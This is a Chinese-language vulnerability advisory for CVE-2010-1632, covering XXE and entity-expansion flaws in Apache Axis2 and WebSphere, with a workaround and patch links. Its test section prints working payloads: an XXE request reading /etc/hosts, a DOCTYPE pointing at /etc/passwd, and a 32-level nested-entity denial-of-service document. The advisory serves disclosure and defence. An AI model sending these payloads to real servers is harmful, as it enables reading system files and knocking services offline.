首页 / 操作系统 / Linux / Apache Axis2文档类型声明处理多个安全漏洞

发布日期：2010-06-13
更新日期：2010-06-22受影响系统：
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.1
Apache Group Axis2 1.5.1
Apache Group Axis2 1.4.1
不受影响系统：
IBM Websphere Application Server 7.0.0.13
IBM Websphere Application Server 6.1.0.33
Apache Group Axis2 1.6
Apache Group Axis2 1.5.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 40976
CVE ID: CVE-2010-1632Axis2是一个Web服务的核心支援引擎。根据SOAP 1.1规范的规定，SOAP消息总不能包含有文档类型声明（DTD）。在Axis2中，是通过StAXSOAPModelBuilder类来实现这个限制的。这个方法存在两个问题：1 仅适用于SOAP绑定，而支持纯XML消息的HTTP绑定仍允许请求消息中存在DTD。 2 在处理带有DTD的文档时，StAXSOAPModelBuilder仅在从StAX解析器接收到DTD事件后才会报告错误，而这时StAX解析器可能已经处理或部分处理了DTD。 这说明Axis2受基于DTD的XML攻击的影响。有两种类型的攻击：* DTD可能引用其他的文档，也就是内部子集中所声明的DTD或外部实体。如果对XML解析器配置了默认的实体解析器（在本文所述情况下为Axis2），就会允许攻击者要求解析器访问任意文件。由于可能将URL用作系统ID，这包括仅可在服务器所部署的网络中访问的远程资源。* 尽管XML不允许递归实体定义，但允许嵌套的实体定义。如果文档中包含有深度嵌套的实体定义，解析该文档就会在实体展开期间导致非常高的CPU和内存消耗。<*来源：Jan Freitag
 
  链接：http://secunia.com/advisories/40252/
        http://www-01.ibm.com/support/docview.wss？uid=swg21433581
        https://svn.apache.org/repos/asf/axis/axis2/java/core/security/CVE-2010-1632.pdf
*>测试方法：
--------------------------------------------------------------------------------警 告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<！DOCTYPE getQuote [
<！ENTITY file SYSTEM "/etc/hosts">
]>
<getQuote xmlns="http://services.samples">
<request>
<symbol xmlns="&file;http://services.samples/xsd">&file;</symbol>
</request>
</getQuote><！DOCTYPE root SYSTEM "/etc/passwd">
<root/><！DOCTYPE root [
<！ENTITY x32 "foobar">
<！ENTITY x31 "&x32;&x32;">
<！ENTITY x30 "&x31;&x31;">
<！ENTITY x29 "&x30;&x30;">
<！ENTITY x28 "&x29;&x29;">
<！ENTITY x27 "&x28;&x28;">
<！ENTITY x26 "&x27;&x27;">
<！ENTITY x25 "&x26;&x26;">
<！ENTITY x24 "&x25;&x25;">
<！ENTITY x23 "&x24;&x24;">
<！ENTITY x22 "&x23;&x23;">
<！ENTITY x21 "&x22;&x22;">
<！ENTITY x20 "&x21;&x21;">
<！ENTITY x19 "&x20;&x20;">
<！ENTITY x18 "&x19;&x19;">
<！ENTITY x17 "&x18;&x18;">
<！ENTITY x16 "&x17;&x17;">
<！ENTITY x15 "&x16;&x16;">
<！ENTITY x14 "&x15;&x15;">
<！ENTITY x13 "&x14;&x14;">
<！ENTITY x12 "&x13;&x13;">
<！ENTITY x11 "&x12;&x12;">
<！ENTITY x10 "&x11;&x11;">
<！ENTITY x9 "&x10;&x10;">
<！ENTITY x8 "&x9;&x9;">
<！ENTITY x7 "&x8;&x8;">
<！ENTITY x6 "&x7;&x7;">
<！ENTITY x5 "&x6;&x6;">
<！ENTITY x4 "&x5;&x5;">
<！ENTITY x3 "&x4;&x4;">
<！ENTITY x2 "&x3;&x3;">
<！ENTITY x1 "&x2;&x2;">
]>
<root attr="&x1;"/>建议：
--------------------------------------------------------------------------------
临时解决方法：* 禁用对application/xml内容类型的支持，使用SOAPBuilder替换ApplicationXMLBuilder：<messageBuilder contentType="application/xml"
class="org.apache.axis2.builder.SOAPBuilder"/>厂商补丁：Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：https://issues.apache.org/jira/browse/AXIS2-4450IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://www-01.ibm.com/support/docview.wss？uid=swg21433581Linux Kernel XFS实现xfs_swapext（）函数本地信息泄露漏洞Adobe Flash Player MP4数据解析堆内存破坏漏洞相关资讯      漏洞 

快递官网漏洞泄露 1400 万用户信息  （08/12/2014 08:37:42） 要389目录服务器访问绕过漏洞  （10/01/2012 09:18:08） ASUS Net4Switch "ipswcom.dll"   （03/02/2012 09:32:42）

软件漏洞是一笔大买卖！  （10/06/2012 08:28:32） PHPCMS V9.1.13任意文件包含漏洞分  （08/01/2012 07:23:17） Open Handset Alliance Android   （03/01/2012 06:59:34）

本文评论 查看全部评论 （0）

表情： 姓名： 匿名字数 同意评论声明 发表 评论声明 尊重网上道德，遵守中华人民共和国的各项有关法律法规 承担一切因您的行为而直接或间接导致的民事或刑事法律责任 本站管理人员有权保留或删除其管辖留言中的任意内容 本站有权在网站内转载或引用您的评论 参与本评论即表明您已经阅读并接受上述条款